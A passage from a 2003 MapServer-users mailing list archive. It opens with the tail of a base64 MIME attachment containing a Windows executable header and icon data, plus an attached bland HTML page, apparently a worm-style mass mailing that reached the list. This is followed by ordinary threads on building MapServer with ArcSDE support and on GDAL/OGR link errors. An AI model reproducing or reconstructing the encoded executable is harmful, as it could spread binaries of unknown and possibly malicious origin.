AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAwAAADgAAIAEAAAA0AAAgAYAAADoAACADgAAABABAIAQAAAA
SAEAgAAAAAAAAAAABAAAAAAAEQABAAAAYAEAgAIAAAB4AQCAAwAAAJABAIAEAAAAqAEAgAUA
AADAAQCABgAAANgBAIAHAAAA8AEAgAgAAAAIAgCACQAAACACAIAKAAAAOAIAgAsAAABQAgCA
DAAAAGgCAIANAAAAgAIAgA4AAACYAgCADwAAALACAIAQAAAAyAIAgBEAAADgAgCAAAAAAAAA
AAAEAAAAAAABAMgAAAD4AgCAAAAAAAAAAAAEAAAAAAADAAcAAAAQAwCACAAAACgDAIAJAAAA
QAMAgAAAAAAAAAAABAAAAAAABQDJAAAAWAMAgCwBAABwAwCALQEAAIgDAIAuAQAAoAMAgC8B
AAC4AwCAAAAAAAAAAAAEAAAAAAABAAEAAADQAwCAAAAAAAAAAAAEAAAAAAABAAwEAADoAwAA
AAAAAAAAAAAEAAAAAAABAAwEAAD4AwAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBAAAAAAAAAAA
AAAEAAAAAAABAAwEAAAYBAAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBAAAAAAAAAAAAAAEAAAA
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
KAAAABAAAAAgAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz/wAzmf8AM2b/AMyZ
ZgAzzP8AzGYzAGbMZgDMmTMAzGZmAGaZMwAzM/8AM5kzAJnMmQDMzJkAAMz/ADOZAABmmf8A
ZpnMAGbMmQBmZv8AzMxmAABm/wAzzDMAmWYzAGbM/wCZZmYA8MqmAICAAACGhoYAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHh4eHh4eHh4eHh4eHh4e
Hh4eHh4eHgwPHh4eHh4eHh4eHh4eHgwGFgweBAQeHh4eHh4eHh4GBgYSBAQEBB4eHh4eHh4S
CwYGHAQEBAQYHh4eHh4aDwsLGREBAQIEDh4eHh4eDQkLCQgBAQECAg4eHh4eDRQbCRcIAQEB
AgIVHh4eAwMDBwkIEQEBAQICAB4eAwMDAwcFCAEBAQECAAAQHgMDBwUFBQgBAgIKAAAAAAMH
BwUDHh4eAQICCgAAAAAFBQMeHh4eHh4CAgoAAAAAHh4eHh4eHh4eHgIKAAAAEB4eHh4eHh4e
Hh4eEwAAAB4eHh4eHh4eHh4eHh4eAB4e//8AAP5/AAD8JwAA/AMAAPgBAADwAQAA8AEAAOAB
AADAAQAAgAAAAIAAAAAHAAAAH4AAAP/AAAD/4QAA//sAACgAAAAQAAAAIAAAAAEAIAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8/AP19fYL5+blHcrD
vUjKw7tJ5uPhIfHx8RDq6Ocb6ujmHPj39wn+/v4BAAAAAAAAAAAAAAAAAAAAAP39/QL39/cJ
3eLaLIqnZKF7kEW+lZ2Gjruzq1uzvcFjmKKlja6nnW/SzMY++fn5BwAAAAAAAAAAAAAAAP7+
/gH7+/sF7PHtG5G9iaNMnyL+TI0A/26abL9+oaakWaDE1VKZveN4nquvr6mgbPTz8w4AAAAA
AAAAAP7+/gH8/PwD+Pj4CLnbwnRmuXT1V7hS/1qiIv5Ro3nnK7TQ8hq85P8gs9X/M6XE8YOk
qZnw8O8SAAAAAP7+/gH8+/wE9/f3Cefn4DeCu3XXWrA5/1+0N/+GkVD/V6Ct/xLG7v8IyvH/
DcLn/wq61/9GrLvL3+LhJgAAAAD8/PwD9vb2Curl4TLBuZS3aZ0b+0qiAP9pkgD/TVqQAAMA
AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABQRQAATAEFAKN7tzUAAAAAAAAAAOAADwELAQUAAKgAAACQAAAAAAAA
IFEAAAAQAAAAwAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIA
AABAAgEAABAAAAAQAAAAEAAAAAAAABAAAACAygAANAAAAABAAQBkAAAAAFABAEgHAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAACAQgEAHAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA
RqcAAAAQAAAAqAAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALQKAAAAwAAAAAwAAACs
AAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACUbQAAANAAAAA6AAAAuAAAAAAAAAAAAAAAAAAA
QAAAwC5pZGF0YQAASA0AAABAAQAADgAAAPIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAEgH
AAAAUAEAAAgAAAAAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=9
--NB56c6K284a9t3O4F0v58bqlsE6
--NB56c6K284a9t3O4F0v58bqlsE6
Content-Type: application/octet-stream;
name=index.html
Content-Transfer-Encoding: base64
Content-ID:
PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8bWV0
YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNl
dD1pc28tODg1OS0xIj4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iIzk5OTk5OSI+DQo8
dGFibGUgd2lkdGg9Ijc1NSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGlu
Zz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KICA8dHI+IA0KICAgIDx0ZCB3aWR0aD0iMTEzIj48
aW1nIHNyYz0iaW1hZ2VzL2dsb2dvLmdpZiIgd2lkdGg9IjExMyIgaGVpZ2h0PSI4MyI+PC90
ZD4NCiAgICA8dGQgd2lkdGg9IjIwMiI+PGltZyBzcmM9ImltYWdlcy9yaWdodDEuZ2lmIiB3
aWR0aD0iMjAyIiBoZWlnaHQ9IjgzIj48L3RkPg0KICAgIDx0ZCB3aWR0aD0iMjc1Ij48aW1n
IHNyYz0iaW1hZ2VzL3JpZ2h0Mi5naWYiIHdpZHRoPSIyNzUiIGhlaWdodD0iODMiPjwvdGQ+
DQogICAgPHRkIHdpZHRoPSIxNjUiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iYm90dG9tIiBi
YWNrZ3JvdW5kPSJpbWFnZXMvc3BhY2VyLmdpZiI+PGZvbnQgY29sb3I9IiNDQzAwMDAiIHNp
emU9Ii0xIiBmYWNlPSJHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxz
dHJvbmc+dG9kYXkgDQogICAgICBpcyBtb24sIEphbiA3LCAyMDAzPC9zdHJvbmc+PC9mb250
PjwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQogICAgPHRkPjxpbWcgc3JjPSJpbWFnZXMvbGVm
dDEuZ2lmIiB3aWR0aD0iMTEzIiBoZWlnaHQ9IjMyIj48L3RkPg0KICAgIDx0ZCBjb2xzcGFu
PSIyIiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1hZ2VzL2JhY2suZ2lmIj48Zm9udCBz
aXplPSItMSIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+YWJvdXQgDQog
ICAgICBtZSB8IGd1ZXN0IGJvb2sgfCBsaW5rcyB8IGdhbWVzIHwgZ2FsbGVyeSB8IHNlYXJj
aCBteSBzaXRlIHwgYWR2ZXJ0aXNlIHdpdGggDQogICAgICBtZTwvZm9udD48L3RkPg0KICAg
IDx0ZCBiYWNrZ3JvdW5kPSJpbWFnZXMvYmFjay5naWYiPiZuYnNwOzwvdGQ+DQogIDwvdHI+
DQogIDx0cj4gDQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQog
ICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQogIDx0
cj4gDQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRk
PiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQog
ICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNw
OzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPHAgYWxp
Z249ImNlbnRlciI+Jm5ic3A7IDwvcD4NCjxociB3aWR0aD0iNzgwIiBzaXplPSIyIj4NCjxk
aXYgYWxpZ249ImNlbnRlciI+PGZvbnQgc2l6ZT0iLTIiIGZhY2U9IlZlcmRhbmEsIEFyaWFs
LCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPiBDb3B5cmlnaHQgDQogICZjb3B5OyAyMDAzIEdl
cmFsZE9ubGluZSBTeXN0ZW1zLiBBbGwgcmlnaHRzIFJlc2VydmVkLiA8YnI+DQogIEZvciBj
b21tZW50cyBhbmQgc3VnZ2VzdGlvbnMsIGVtYWlsIHRvIDxhIGhyZWY9Im1haWx0bzpnZXJh
bGRAY3Zpcy5uZXQucGgiPmdlcmFsZEBjdmlzLm5ldC5waDwvYT48YnI+DQogIERhdGUgbGFz
dCBtb2RpZmllZCA6IEphbnVhcnksIDIwMDM8L2ZvbnQ+PC9kaXY+DQo8L2JvZHk+DQo8L2h0
bWw+DQ=9
--NB56c6K284a9t3O4F0v58bqlsE6--
From frank.koormann at intevation.de Wed Jan 8 02:06:42 2003
From: frank.koormann at intevation.de (Frank Koormann)
Date: Wed, 8 Jan 2003 11:06:42 +0100
Subject: [Mapserver-users] Mapserver and ArcSDE (fwd)
In-Reply-To:
References:
Message-ID: <20030108100642.GA29078@intevation.de>
Dear Petra,
* Steve Lime [030107 23:35]:
> It means you haven't compiled MapServer against the SDE client libs...
>
> "Petra Bergholz" [030107 12:46]:
> >
> > Hi,
> >
> > I have a question:
> > I tried to run the Minnesota Mapserver with data from an ArcSDE Layer,
> > but I get the following error-message:
> > " msSDELayerOpen(): General error message. SDE support is not
> > available.
> > "
as Steve already pointed out you have to build MapServer with SDE
support and linked against the SDE client libs.
Therfore you have to define (Assuming you are working under MS Windows)
SDE_OPT= -DUSE_SDE -DWIN32
SDE_INC=
SDE_LIB=
The later two have to be configured according to your develoment
environment.
Kind regards,
Frank Koormann
--
Frank Koormann
Professional Service around Free Software (http://intevation.net/)
FreeGIS Project (http://freegis.org/)
From philipp.jacob at geosysnet.de Wed Jan 8 03:20:11 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Wed, 08 Jan 2003 12:20:11 +0100
Subject: [Mapserver-users] mapserver compile problems
References: <200301071654.h07GsxR28788@yogi.medinaco.net>
Message-ID: <3E1C096B.3010106@geosysnet.de>
i looked for the files 'libgdal.1.1.so' and 'gdal.h' on my system and
found it in the following paths:
/usr/local/lib/libgdal.1.1.so
/usr/local/include/gdal.h
/usr/local/src/gdal-1.1.7/libgdal.1.1so
/usr/local/src/gdal-1.1.7/core/gdal.h
the first is the location where gdal was installed to.
and the second one is just the source directory.
looks like that this was not the final answer for my problem.
it would have been too easy.. ;-)
i start to despair of that thing. :-(
really strange...
Lowell Filak wrote:
>I believe the final answer is here:
>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0206/msg00385.html
>Looks like you will need to do some tinkering to sort this one out.
>Good luck.
>Lowell
>
>The following message was sent by Philipp Jacob on Tue, 07 Jan 2003 17:02:19 +0100.
>
>
>
>>first of all, it didn't work. :-|
>>
>>i recompiled the gdal library.
>>configure checked for OGR support and enabled it. well, sounds nice.
>>'make all' 'make install' done..
>>
>>then i configured the mapserver again.
>>additionally with the option: --with-ogr
>>configure finished successfully and i had a look at the Makefile.
>>OGR support is mentioned there, and the right paths are set.
>>(/usr/local/lib -lgdal.1.1)
>>
>>but 'make' brings even more 'undefined references' than before:
>>
>>------------
>>...
>>/opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL
>>-DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG
>>-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL
>>-I/usr/local/include -I/usr/local/include -I/usr/local/include
>>-I/usr/local/include -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H
>>shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz
>>-ltiff -ljpeg -lttf -lpng -lz -lproj -ljpeg -L/usr/local/lib
>>-lgdal.1.1 -L/usr/local/lib -lwwwxml -lxmltok -lxmlparse -lwwwinit
>>-lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp -lwwwmime -lwwwgopher
>>-lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream -lwwwmux -lwwwtrans
>>-lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img
>>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj
>>*)':
>>mapogr.o(.text+0x16c): undefined reference to
>>`OGRPolygon::getExteriorRing(void)'
>>mapogr.o(.text+0x199): undefined reference to
>>`OGRPolygon::getInteriorRing(int)'
>>mapogr.o(.text+0x1b3): undefined reference to
>>`OGRPolygon::getNumInteriorRings(void)'
>>mapogr.o(.text+0x20f): undefined reference to
>>`OGRGeometryCollection::getNumGeometries(void)'
>>mapogr.o(.text+0x39d): undefined reference to
>>`OGRPolygon::getExteriorRing(void)'
>>mapogr.o(.text+0x3ac): undefined reference to
>>`OGRPolygon::getInteriorRing(int)'
>>mapogr.o(.text+0x40f): undefined reference to
>>`OGRPolygon::getNumInteriorRings(void)'
>>mapogr.o(.text+0x449): undefined reference to
>>`OGRGeometryCollection::getGeometryRef(int)'
>>...
>>./libmap.a(mapogr.o): In function `msOGRLayerGetAutoStyle':
>>mapogr.o(.text+0x2098): undefined reference to
>>`OGRStyleMgr::OGRStyleMgr(OGRStyleTable *)'
>>mapogr.o(.text+0x20ce): undefined reference to
>>`OGRStyleMgr::InitFromFeature(OGRFeature *)'
>>mapogr.o(.text+0x20dc): undefined reference to
>>`OGRStyleMgr::GetPartCount(char const *)'
>>mapogr.o(.text+0x2104): undefined reference to
>>`OGRStyleMgr::GetPart(int, char const *)'
>>mapogr.o(.text+0x2135): undefined reference to
>>`OGRStyleTool::SetUnit(ogr_style_tool_units_id, double)'
